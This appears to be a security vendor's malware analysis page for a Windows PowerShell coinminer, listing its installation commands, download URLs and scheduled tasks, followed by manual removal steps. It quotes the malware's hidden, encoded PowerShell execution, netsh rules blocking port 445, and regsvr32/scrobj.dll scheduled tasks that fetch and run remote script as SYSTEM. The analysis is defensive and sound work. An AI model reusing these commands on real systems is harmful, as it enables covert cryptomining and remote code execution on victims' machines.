Analysis by: John Donnie Celestre
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

Tamaño del archivo 14,109 bytes
Residente en memoria Yes
Fecha de recepción de las muestras iniciales 10 Jan 2019

Arrival Details

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Coinminer adds the following processes:

  • findstr.exe /i /m /c:cryptonight c:\windows\explorer.exe;
  • netsh.exe ipsec static add filter filterlist=block any srcmask=32 srcport=0 dstaddr=me dstport=445 protocol=tcp description=445;
  • netsh.exe ipsec static add filteraction name=block action=block;
  • netsh.exe ipsec static add filterlist name=block;
  • netsh.exe ipsec static add policy name=netbc;
  • netsh.exe ipsec static add rule name=block policy=netbc filterlist=block filteraction=block;
  • netsh.exe ipsec static set policy name=netbc assign=y;
  • NETSTAT.EXE -anop tcp;
  • powercfg.exe /CHANGE -hibernate-timeout-ac 0;
  • powercfg.exe /CHANGE -standby-timeout-ac 0;
  • powershell.exe -NoP -NonI -W Hidden -E {base64 encoded data}==;
  • powershell.exe -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:System_Anti_Virus_Core').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:System_Anti_Virus_Core').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')";
  • schtasks.exe /delete /tn yastcat /f;

Other System Modifications

This Coinminer adds the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\IPSec
OperationMode = 3

Download Routine

This Coinminer accesses the following websites to download files:

  • http://111.{BLOCKED}.{BLOCKED}.149/antivirus.ps1
  • http://111.{BLOCKED}.{BLOCKED}.149/logos.png
  • http://111.{BLOCKED}.{BLOCKED}.149/ver.txt
  • http://update.win{BLOCKED}fender{BLOCKED}st.com/antivirus.ps1
  • http://update.win{BLOCKED}fender{BLOCKED}st.com/logos.png
  • http://update.win{BLOCKED}fender{BLOCKED}st.com/ver.txt

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Coinminer adds the following scheduled tasks:

  • schtasks.exe /create /tn "System Log Security Check" /tr "regsvr32 /u /s /i:http://update.win{BLOCKED}fender{BLOCKED}st.com:443/antivirus.php scrobj.dll" /sc minute /mo 20 /ru System /F;
  • schtasks.exe /create /tn WindowsLogTasks /tr "regsvr32 /u /s /i:http://update.win{BLOCKED}fender{BLOCKED}st.com:443/antivirus.php scrobj.dll" /sc onstart /ru System /F;

  SOLUTION

Motor de exploración mínimo 9.850
Primer archivo de patrones de VSAPI 14.743.00
Primera fecha de publicación de patrones de VSAPI 09 Jan 2019
Versión de patrones OPR de VSAPI 14.743.00
Fecha de publicación de patrones OPR de VSAPI 10 Jan 2019

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

To delete the added Scheduled Task:

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Click on Start>Programs>Accessories>System Tools>Scheduled Tasks
  2. Double-click on a job file.
  3. Check if the malware path and file name is in the Run: box.
  4. If it does, delete the job file.
  5. Repeat step 2-4 for the remaining job files.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower-left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, select a Task.
  4. Check if the selected task starts the malware automatically. To do this, check the value in the Details column under the Actions tab in the lower-middle panel.
  5. If the malware path and file name is found, press DELETE and click Yes to delete the task.
  6. Repeat steps 3-5 for the remaining tasks.

Step 5

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Coinminer.PS1.MALXMR.AD. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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